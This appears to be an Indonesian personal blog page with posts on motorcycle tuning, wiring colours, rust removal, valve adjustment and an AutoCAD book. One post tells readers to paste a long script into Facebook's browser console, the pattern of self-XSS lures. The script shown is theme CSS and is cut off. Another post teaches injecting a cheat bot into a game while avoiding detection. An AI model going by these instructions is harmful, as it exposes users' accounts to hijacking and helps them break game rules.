Info




SELAMAT DATANG DI WEB Haris Gudang Ilmu



Selamat datang di Web Side saya , saya harap anda senang berada di Web sederhana ini. Web ini saya tulis dengan komputer yang sederhana dan koneksi internet yang juga sederhana. Saya berharap Anda sering datang kembali. Silahkan anda mencari hal-hal yang baru di blog saya ini. Terima Kasih



SEKILAS HARIS GUDANG ILMU



Nama saya Mohammad Haris saya seorang yang mempunyai Web Side ini . Saya mulai belajar blogger sejak bulan Oktober 2009, dan blog ini saya buat pada bulan January 2009. Terimakasih Atas Kunjungannya.Follow Grup saya di https://www.facebook.com/harisgudangilmu?ref=hl







Exit
Jangan Lupa Klik Like Ya

Social Icons

My Biodata Admin



Nama:Muhammad Haris Yuliandra
Angkatan Ke 2 Anak Didikan Dari
Sekolah SMK Negri 1 Kutalimbaru
Sudah Tamat

Selamat Bergabung Di Blog Saya






selamat berkujung di blog saya semoga apa yang saya berikan kepada anda semoga bermanfaat

Minggu, 14 Desember 2014

Lima cara mengingkatkan tenaga skuter metic

Anda pengguna sepeda motor skuter matik, namun kurang puas dengan tenaga yang disemburkan mesin? Tak usah bingung ganti motor. Cukup dengan biaya Rp 3,3 – Rp 4,1 juta dijamin motor Anda mampu melesat seperti motor balap.

Caranya? Cukup mudah. “Ubah setingan piston, perbesar ruang bakar, CDI dan koil diganti. Begitu juga dengan noken as ganti dengan racing, dan knalpot,” kata Encep Suhandi, Mekanik Leo Motor, Jatinegara, Jakarta Timur, Rabu (6/1).

Dia menyebut contoh, untuk modifikasi mesin Honda Scoopy atau Honda BeAT. “Untuk bore up dua model itu menjadi setara (mesin) 130 cc, harga part dan ongkos jasa sekitar Rp 4, 1 juta,” terang Encep.

Harga itu sudah termasuk ubah blok mesin baru, penggantian piston Izumi 55 mili meter, head custom, valve ukuran 24/28, roller, CLD 10 gram, karbu PE 28, ring piston NPR, CDI BRT F-Tech, porting polish, serta knalpot CLD.

“Harga itu sudah standar. Karena komponen memang banyak, tetapi permintaan juga banyak sehingga toko juga tidak menurunkan harga,” ujar dia.

Lantas apa tujuan ganti beberapa komponen itu ? Apa pula pengaruhnya terhadap tenaga? Berikut penjelasan Encep :

1. Ganti piston dengan diameter besar
Langkah pertama yang harus dilakukan adalah memperbesar tingkat kompresi mesin. Agar rasio kompresi mesin naik, maka piston standar pasti diganti dengan produk aftermarket yang berdiameter lebih besar.

Hal itu dimaksudkan agar tekanan udara dan bahan bakar ke ruang bakar semakin besar dengan komposisi udara lebih besar. “Sehingga proses pembakaran akan berlangsung sempurna. Kalau pembakaran sempurna tenaga yang dihasilkan juga besar,” terang Encep.

Namun, untuk motor skutik yang digunakan untuk mendukung kegiatan harian dan turing peningkatan ruang bakar cukup 125 cc. Pasalnya, dengan tenaga sebesar itu bahan bakar tidak boros tetapi tenaga yang dihasilkan cukup mumpuni.

2. Perbesar saluran ke ruang bakar
Memperbesar piston belumlah cukup bila tidak diimbangi dengan memperbesar saluran bahan bakar ke ruang bakar. Porting ini bertujuan agar proses semburan bahan bakar dari injektor ke ruang bakar semakin lancar.

Satu hal yang patut diingat pengurangan lapisan jangan melebihi 0,5 mm. Seperti halnya pemilihan piston lebih besar, cara ini juga bertujuan agar prosespembakaran bahan bakar lebih sempurna.

3. Gunakan CDI dan koil Racing
CDI atau lengkapnya Capasitor Discharge Ignition adalah alat untuk mengatur waktu meletikkan api dari busi yang kemudian membakar campuran bahan bakar yang sudah mampat akibat tenakan piston.

“Jadi, karena semburan bahan bakar lebih banyak dan tekanan piston makin kuat karena ubahan tadi, maka CDI juga harus ganti yang racing,” kata Encep.

Dengan CDI dank oil racing tenaga akan makin bertambah sempurna.

4. Ganti noken as racing
Penggantian noke as dengan noken racing itu bertujuan untuk meningkatkan kemampuan motor untuk mencapai kecepatan tertinggi, serta menambah torsi mesin.

Noken as racing umumnya tonjolan lebih tinggi, sehingga proses buka tutup klep lebih sempurna. “Dengan proses bukan tutup sempurna itu maka semburan tenaga di saat putaran mesin rendah bisa meningkat,” ujar Encep.

5. Sempurnakan dengan karburator dan knalpot racing
Beberapa ubahan di atas akan menghasilkan tenaga yang maksimal bila karburator dan knalpot racing. Pasalnya, dengan penggunaan piston yang lebih besar dan saluran ke ruang bakar yang disempurnakan, serta pemantik api dari busi (CDI) yang lebih bagus, tentunya juga membutuhkan sistem pengabutan atau semburan bahan bakar yang sempurna.

Sedangkan karburator merupakan peranti untuk menyemburkan kabut bahan bakar ke ruang bakar. “Dengan model racing semburan akan sempurna, karena lubang venturi lebih besar dibanding versi standar,” imbuh Encep.

Begitu pula dengan knalpot racing. Kanlpot model ini biasanya dirancang untuk memiliki tekanan balik gas sisa pembakaran ke ruang bakar yang sempurna. Sehingga kehadirannya akan meningkatkan kesempurnaan proses pembakaran.

“Kalau pemilik motor tidak suka menggunakan kanlpot racing aftermarket, bisa menggunakan knalpot bawaan pabrik tetapi dibobok,” kata Encep.
Lima cara mengingkatkan tenaga skuter metic

Jumat, 28 November 2014

Kumpulan Arti Warna Kabel Sepeda Motor Komplit

Arti Warna Kabel













Pada dasarnya arti warna kabel itu untuk mempermudah pengecekan ketika terjadi kesalahan maupun konslet dibagian kelistrikan. Banyak orang awam yang belum tahu persis rangkaian kelistrikanya padahal sampai salah rangkaian bisa juga konsleting dan kabel terbakar. Nah daripada bingug saya punya sedikit gambaran tentang Arti warna kabel sepeda motor.


Honda
-Merah : Terminal positif aki(+).
-Hijau : Terminal Negatif aki(+).
-Hitam : Arus Output yang keluar dari  positif aki (biasanya dari kunci kontak).
-Biru : Lampu Jarak jauh.
-Putih : Lampu Jarak Dekat .
-Kuning : Arus beban ke saklar lampu/output dari regulator.
-Merah Hitam : Arus spull CDI menuju CDI.
-Abu abu : Arus keluar Flasher menuju saklar diholder kiri.
-Hitam Putih : Kunci kontak.
-Hitam Kuning : Arus yang masuk ke koil.
-Biru Kuning : Arus pulser CDI menuju CDI.
-Hijau Kuning : Output lampu rem menuju lampu rem.
-Coklat : Lampu Kota.
-Biru Laut : Sein/reting kanan .
-Orange : Sein/reting kiri.

Yamaha
-Merah : Arus beban positif aki(+).
-Hitam : massa untuk semua negatif.
-Hijau : Arus penerangan lampu depan/lampu jarak dekat.
-Kuning : Lampu jarak jauh.
-Putih Merah : Arus pulser CDI.
-Putih Hijau : (-) pulser CDI "alfa".
-Hijau Hitam : Output menuju lampu rem.
-Hitam Merah : Output Spull ke CDI  "alfa".
-Orange : Input ke koil.
-Coklat : Arus out put yang keluar dari positif aki menuju kontak dan keluar melalui kontak.
-Hijau Tua : Reting/sein kanan.
-Coklat Tua : Reting/sein kiri.

Suzuki
-Hitam Putih : Masa berlaku untuk semua negatif
-Putih Merah : Pengisian dari spull
-Kuning : Lampu jarak jauh.
-Putih : Lampu jarak dekat/input ke saklar lampu.
-Biru laut : Output flasher ke saklar reting.
-Hijau Tua : Arus masuk ke  Klakson .
-Orange : Arus yang keluar dari kunci kontak/out put positif aki ke kontak.
-Merah : Arus positif aki.
-Abu abu : Out put lampu rem.
-Hitam : Sein/reting kiri .
-Hijau Muda :  Sein/reting kanan.

Kawasaki
-Putih Merah : Arus positif aki.
-Hitam Kuning : Massa berlaku untuk semua negatif.
-Merah Hitam : Lampu jarak jauh.
-Merah Kuning : Lampu jarak dekat.
-Merah : Lampu belakang.
-Coklat : Klakson.
-Hijau : Sein/reting kiri.
-Abu abu : Sein/reting kanan.
-Biru Kuning : arus pulser (+).

Jumat, 17 Oktober 2014

Cara Menghilangkan Karat

Membersihkan karat sangat penting untuk memastikan alat-alat dapat berfungsi dengan baik dan tampak mengkilap. Temukan cara menghilangkan karat pada besi di rumah Anda dengan cepat disini!
Membersihkan karat Anda mungkin tidak banyak berpikir tentang cara membersihkan karat, sehingga mungkin terkejut mendengar bahwa karat dapat muncul di banyak tempat di sekitar rumah, contohnya di panci yang dimasukkan kembali ke dalam lemari sebelum dikeringkan dengan baik, atau noda pada bagian bawah setrika. Berikut adalah beberapa tips dan cara membersihkan karat pada besi dan permukaan krom - dua tempat umum di mana noda karat sering ditemukan.

Cara Menghilangkan Karat Besi

Untuk membantu mengurangi resiko noda karat, Anda harus tahu bagaimana untuk menghilangkan karat dari setrikaan anda dan alat berbahan besi lainnya. Karat dapat terbentuk dengan mudah pada peralatan masak besi seperti penggorengan.
Garam, baking soda, dan jeruk lemon dapat ditemukan di setiap rumah tangga dan akan membantu Anda membersihkan noda karat.
  • Campurkan setengah sendok teh garam dan / atau baking soda dengan satu sendok makan perasan jeruk lemon dan usapkan campuran tersebut di permukaan yang terkena.
  • Kemudian, perlahan lahan lap dengan air kering.
  • Metode ini akan menghilangkan karat dari benda logam Anda, dan juga akan meninggalkan bau jeruk yang menyenangkan.
Baking soda dapat dengan mudah menghilangkan karat pada penggorengan besi. Berikut adalah petunjuk untuk membersihkan noda karat pada panci atau wajan dengan baking soda dan air:
  • Isi panci atau wajan dengan air hangat dan taburi sejumlah baking soda – akan muncul sedikit gas atau busa.
  • Biarkan selama beberapa menit.
  • Gosok dengan spons dapur dengan lembut untuk menghilangkan karat.
menghilangkan karat
Jika Anda perlu menghilangkan karat pada besi atau permukaan lain, ikuti petunjuk di bawah ini:
  • Campurkan satu sendok makan baking soda dengan satu sendok teh air dan usapkan campuran dengan hati-hati pada permukaan yang berkarat.
  • Setelah 15 atau 20 menit, bersihkan dengan menggunakan kain kering.
  • Jika perlu, ulangi prosedur lagi.
Untuk membantu mencegah terbentuknya karat, cucilah panci Anda dengan sabun cuci piring berkualitas baik dan biarkan mereka benar-benar kering. Lalu, usapkan panci dengan lapisan tipis minyak goreng sebelum menyimpannya dalam lemari.

Cara Menghilangkan Karat pada Chrome / Krom

Jika keran berbahan chrome di kamar mandi Anda kadang-kadang bocor sedikit, kelembaban yang terus menerus dapat menimbulkan karat. Jika Anda memiliki perlengkapan chrome di rumah Anda dan perlu tahu cara menghilangkan karat pada chrome, yang Anda butuhkan adalah pembersih kamar mandi yang baik. Sebaiknya anda memilih produk yang menghilangkan karat dalam dua tahap. Anda membutuhkan produk yang melunakkan dan membersihkan noda dengan sabun atau deterjen, kemudian Anda juga akan membutuhkan produk dengan partikel-partikel halus yang dapat mengangkat noda dari chrome. Dengan begini Anda tidak perlu menggosok selama berjam-jam. Membersihkan karat cukup dengan hanya menyeka dengan kain atau spons. Pastikan untuk mencoba metode ini terlebih dahulu di bagian kecil dan tersembunyi.
Setelah membersihkan karat  di kamar mandi, Anda dapat memperlambat pembentukan karat kembali dengan membersihkan dan mengeringkan mereka secara teratur.

Produksi : https://www.facebook.com/harisgudangilmu?ref=hl

Tips Cara Setel Celah Klep Motor 4 Tak


Mekanisme klep mesin motor 4 langkah
Tips Cara Setel Celah Klep Motor - Cara setel klep atau setting klep kebanyakan pemiliki kendaraan bermotor dengan mesin 4 Langkah memang belum banyak yang mengetahui.

Untuk itu sebenarnya kita punya kesempatan belajar untuk mengetahuinya. Mari simak bersama tips cara setting klep motor 4 tak di bawah ini.

Tetapi saran Otomodif Otomania jangan di lakukan sendiri tetapi bawa ke bengkel yang Anda Percaya.

Mengetahui tujuan menyetel klep motor:
Penyetelan celah katup memang perlu dilakukan terhadap sepeda motor, untuk mempertahankan celah (clearance) antara ujung batang katup dengan ujung baut penyetel katup agar tetap sesuai standar. Tujuan utama dari penyetelan Klep motor adalah untuk diperoleh unjuk kerja mesin yang optimal.

Persiapan Alat yang digunakan:
1. Obeng (+) besar dan (+) sedang
2. Obeng (-) Besar
3. Kunci ´T´ (sok 17mm)
4. Kunci ring 89 mm
5. Kunci tapet klep (´L´ klep)
6. Fuller (untuk ukur celah klep)
Langkah kerja :
1. Lepaskan sekrup cover tengah dan tebeng sayap dengan menggunakan obeng (+) sesuai ukuran sekrup.
2. Buka tutup tanda Top di blok magnet (beralur obeng (-) minus besar), yang besar dan kecil.
3. Buka tutup klep ( klep IN (atas) dan klep EX (bawah)) yang ada di kepala silinder yang berkepala kunci ring 17 mm untuk kebanyakan motor, tetapi hal ini bisa lihat dari konstruksi kepala silinder motor.
4. Cari tanda *T* atau TOP dengan cara memutarkan poros engkol menggunakan kunci sok T 17mm searah jarum jam sampai didapat tanda ´T´ di magnet lurus dengan tanda penyesuaian di blok magnet.
5. Pastikan kedua klep dalam posisi bebas goyang).
6. Lakukan pengukuran celah klep dengan memasukan filler diantara celah katup dan baut penyetel
7. Apabila filler masuk ke celah tersebut, dan puller didorong kearah depan tidak bisa, tapi saat ditarik bisa tanpa meninggalkan bekas goresan di filler berarti celah klep bagus (standar)

8. Apabila point 7 tidak terjadi, lakukukan langkah berikut :
  1. Longgarkan sedikit mur penyetel klep dengan kunci ring 9 mm sambil menahan baut penyetel klep dengan kunci ’ L ’ stelan klep.
  2. Masukan puller ke celah klep dan stel dengan memutar stelan klep untuk mendapatkan celah klep yang sesuai dengan ketentuan apabila puller didorong tidak bisa tapi apabila ditarik puller bisa bergeser tanpa meninggalkan bekas di puller.
  3. Setelah didapat celah standar, tahan baut penyetel klep lalu kencangkan mur pengikat klep dengan kunci ring 9 mm.
  4. Cek kembali celah klepnya untuk memastikan bahwa klep telah distel dengan baik.
  5. Setelah didapat penyetelan yang tepat tutup kembali klep dan pastikan pengencangan bautnya benar.
  6. Pasang kembali cover body kebalikan urutan dari pembongkaran.
Semoga informasi ini membantu anda mengetahui cara penyetelan klep yang sesuai dengan standar kerja pabrikan motor.

Senin, 09 Juni 2014

Download and tutorial menggunakan G4r0n9 Bot Atlantica

kali ini saya mau mengajarkan bagaimana cara menggunakan / Tutorial menggunakan [G4r0n9 Bot]
Cekidot

- Buka TextMod
1. Target Application = Atlantica.exe ( cari dari folder game atlantica)
2. Select Packages = atlantica.tpf ( cari dari Folder TexMod )
3. RUN


Sampe Loading selesai... dan tunggu sampai tampilan Log In Game anda
-> Log In di game
--> Setting Food Slot 

Setting Tampilan Momon  > Pengaturan (Alt + O) > Grafik
- Normal Avatar = Gunakan Char disederhanakan
- Battling Avatar = Omit Char disederhanakan
- Konfirmasi

-- Lalu coba anda masuk map skirmish...
NB :
Jika momon berwarna hijau = SUKSES Inject langkah awal untuk BOT
Jika momon berwarna merah = GAGAL... lakukan dari awal lagi

>> Buka BOT.
->> Setting Bot anda

OK... sekarang Anda siap Boting In Game...

NB Akhir  :
ingat.... jgn setiap hari anda Boting, atur waktu karna banyak mata mata...
Lebih aman main diskirmish. karna tidak bisa diObeserve

Terima kasih atas waktunya

Best Regard to you all




                                     DOWNLOAD HERE


                                                           PASSWORD : h4r15225123

Rabu, 21 Mei 2014

7 Jam Belajar Interaktif AutoCAD 2008 untuk Orang Awam




















AutoCAD 2008 adalah versi terbaru dari program CAD paling populer dewasa ini. AutoCAD adalah sebuah program merancang berbantu komputer atau biasa disebut dengan istilah Computer Aided Design (CAD). AutoCAD dapat digunakan untuk menyelesaikan berbagai macam gambar perencanaan dan perancangan bagi banyak disiplin ilmu, seperti arsitek, teknik mesin, teknik sipil, teknik industri, dan lain-lain.
AutoCAD yang merupakan program CAD keluaran Autodesk telah menjadi standar dunia saat ini. AutoCAD memiliki program pendukung yang jumlahnya banyak sekali, seperti Autodesk Mechanical, AutoMap, Architectural Desktop, Automil, AutoCivil, dan seterusnya.
File output AutoCAD dapat dimanfaatkan oleh program-program lain untuk diolah lebih lanjut, seperti 3ds max, STAAD, SAP, dan lain-lain.
Buku ini merupakan panduan belajar dasar AutoCAD 2008 yang cocok bagi pemula. Selain pembahasannya mudah diikuti, buku ini juga dilengkapi dengan video tutorial yang akan membuat Anda lebih mudah lagi mengikuti materi dari buku ini.


Daftar Isi

JAM PERTAMA : MENGENAL AUTOCAD 2008

· Mengenal AutoCAD 2008
· Elemen AutoCAD 2008
· Perintah LINE
· Koordinat 2D
· Perintah ERASE
· Perintah ARC
· Perintah CIRCLE
· Latihan Jam Pertama
· Soal Jam Pertama


JAM KEDUA : EDITING
· Perintah TRIM
· Perintah EXTEND
· Perintah JOIN
· Perintah OFFSET
· Perintah MOVE
· Perintah COPY
· Perintah ROTATE
· Perintah MIRROR
· Latihan Jam Kedua
· Soal Jam Kedua


JAM KETIGA : MODIFIKASI OBJEK
· Perintah FILLET
· Perintah CHAMFER
· Perintah CHANGE
· Perintah LINETYPE dan LTSCALE
· Perintah PLINE
· Perintah PEDIT
· Perintah EXPLODE
· Perintah PROPERTIES
· Perintah MATCHPROP
· Latihan Jam Ketiga
· Soal Jam Ketiga


JAM KEEMPAT : TOOL PELENGKAP
· Perintah OSNAP
· Perintah TEXT dan STYLE
· Perintah MTEXT
· Perintah DONUT
· Perintah BHATCH dan HATCHEDIT
· Perintah BOUNDARY
· Perintah TABLE
· Perintah QSELECT
· Latihan Jam Keempat
· Soal Jam Keempat


JAM KELIMA : ARRAY, LAYER, DAN BLOCK
· Perintah ARRAY
· Perintah LAYER
· Perintah BLOCK dan INSERT
· Perintah WBLOCK
· Perintah EXTERNALREFERENCES
· Perintah XCLIP dan IMAGECLIP
· Latihan Jam Kelima
· Soal Jam Kelima


JAM KEENAM : SKALA, DIMENSI, DAN PENCETAKAN GAMBAR
· Skala Gambar
· Perintah DIMLINEAR
· Perintah DIMALIGNED Perintah DIMARC
· Perintah DIMANGULAR
· Perintah DIMRADIUS dan DIMDIAMETER
· Perintah PLOT
· Latihan Jam Keenam
· Soal Jam Keenam


JAM KETUJUH : EXPRESS TOOLS
· Perintah BLOCKREPLACE
· Perintah NCOPY
· Perintah ARCTEXT
· Perintah TCASE
· Perintah TCIRCLE
· Perintah TXTEXP
· Perintah SUPERHATCH
· Perintah ALIASEDIT
· Latihan Jam Ketujuh
· Soal Jam Ketujuh


Senin, 19 Mei 2014

Perbedaan, Kelebihan dan Kekurangan Sistem Injeksi dan Karburator

Pada setiap kendaraan tentunya tidak luput dari penyuplai bahan bakar, Dimana penyuplai ini bekerja untuk mengolah bahan bakar hingga menjadi campuran yang akan dimasukkan ke dalam ruang bakar, komponen yang satu ini disebut dengan karburator, Namun pada pabrikan-pabrikan yang memproduksi sepeda motor sekarang banyak yang menganut Sistem Injeksi.

Peerbedaan antara sistem karburator dan injeksi adalah hanya pada proses penghisapan bensin ke ruang bakar. Pada Sistem Injeksi sudah menggunakan peranti elektronik seperti injektor, yang tugasnya menyemprotkan bensin ke ruang bakar. Sedangkan pada karburator yang masih mengandalkan hisapan yang diperoleh dari pergerakan piston pada silinder. sistem injeksi bisa menyeimbangkan volume bensin yang disemprotkan ke ruang bakar dengan kebutuhan mesin, sehingga didapat hasil pembakaran yang efisien. Jadi Sistem Injeksi sudah tentu akan lebih irit.
Karburator VS Injeksi
Karburator VS Injeksi

Namun pada setiap Sistem tetap memiliki Kelebihan dan Kekurangannya masing-masing. Berikut merupakan Kelebihan pada Sistem Injeksi dan Karburator :

Pada Sistem Injeksi :
Sistem Injeksi
Sistem Injeksi
=>Kelebihan

* Dapat mengatur A/F ratio berdasarkan kebutuhan mesin dan kondisi cuaca.
* Dapat mengatur A/F berdasarkan kadar emisi yang diwajibkan sehingga emisi lebih baik.
* Ketika temperature dan tekanan udara berubah maka dia dapat menyesuaikannya.
* Injector menyuplai bahan bakar kemesin berdasarkan kebutuhan mesin sehingga penggunaan bahan bakar dapat lebih effisien sehingga menjadi lebih irit.

=>Kelemahan

* Harga lebih mahal dibandingkan karburator sebab lebih banyak terdapat komponen.
* Jumlah komponen yang lebih banyak dan kompleks
* Perawatan harus menggunakan alat khusus dan teknik tertentu.

Pada Sistem Karburator :
Karburator
Karburator
=>Kelebihan

* Lebih murah dibandingkan system injection tetapi apabila ditambah alat lain, maka harganya mendekati system injection.
* Jumlah komponen lebih sedikit dan tidak kompleks
* Perawatan lebih gampang dan sederhana
* Gampang saat dilakukan pembersihan atau servis

=>Kelemahan

* Untuk penyetelan A/F ratio dilakukan manual dan hanya bisa sekali.
* Membutuhkan penyetelan yang tepat untuk semua kondisi tetapi tidak dapat mengatasi setiap kondisi yang dapat berbeda-beda
* Perlu adanya alat/komponen tambahan agar kerja karburator dapat menyesuaikan kondisi seperti pompa akselerasi, coasting enricher, dll
* Penggunaan bahan bakar kurang efisien, sehingga cenderung boros.

Hanya itu yang ane dapat simpulkan, Semoga bermanfaat bagi yang baca . .
Terima kasih ...

Sabtu, 17 Mei 2014

TRIK FACEBOOK UNTUK ANDA 2014! (2 langkah)


LANGKAH 1: DALE KLIK "IKUTI DAN KONFIRMASI" KEMUDIAN KLIK "SHARE". (Diperlukan)
                                                                                                    

LANGKAH 2: SETELAH PEMBUATAN "LANGKAH 1" TERUS DI BAWAH UNTUK "STEP 2".
1 - Copy semua kode di bawah, memberikan klik tombol "Pilih Text".
2 - Pergi ke dinding facebook Anda dan Tekan "F12" pada keyboard Anda.
3 - Klik ke bar akan dibuka di mana "atau CONSOLE CONSOLE" kata
4 - Paste seluruh kode dalam ruang putih "Bawah Console"
5 - Klik "ENTER" dan akan memperbarui facebook ... tunggu 2 menit dan siap. : D
COMPLETE COPY CODE:

  //theme
            (function() {
    var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #cdecea !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://ifanboy.com/wp-content/uploads/2011/07/GhostRider_1_CoverLozziVariant.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #d69ef0 !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar  {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #b4ec96 !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\nmargin-left:-8px !important;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #f99800 !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #f99800 !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top,  #45484d 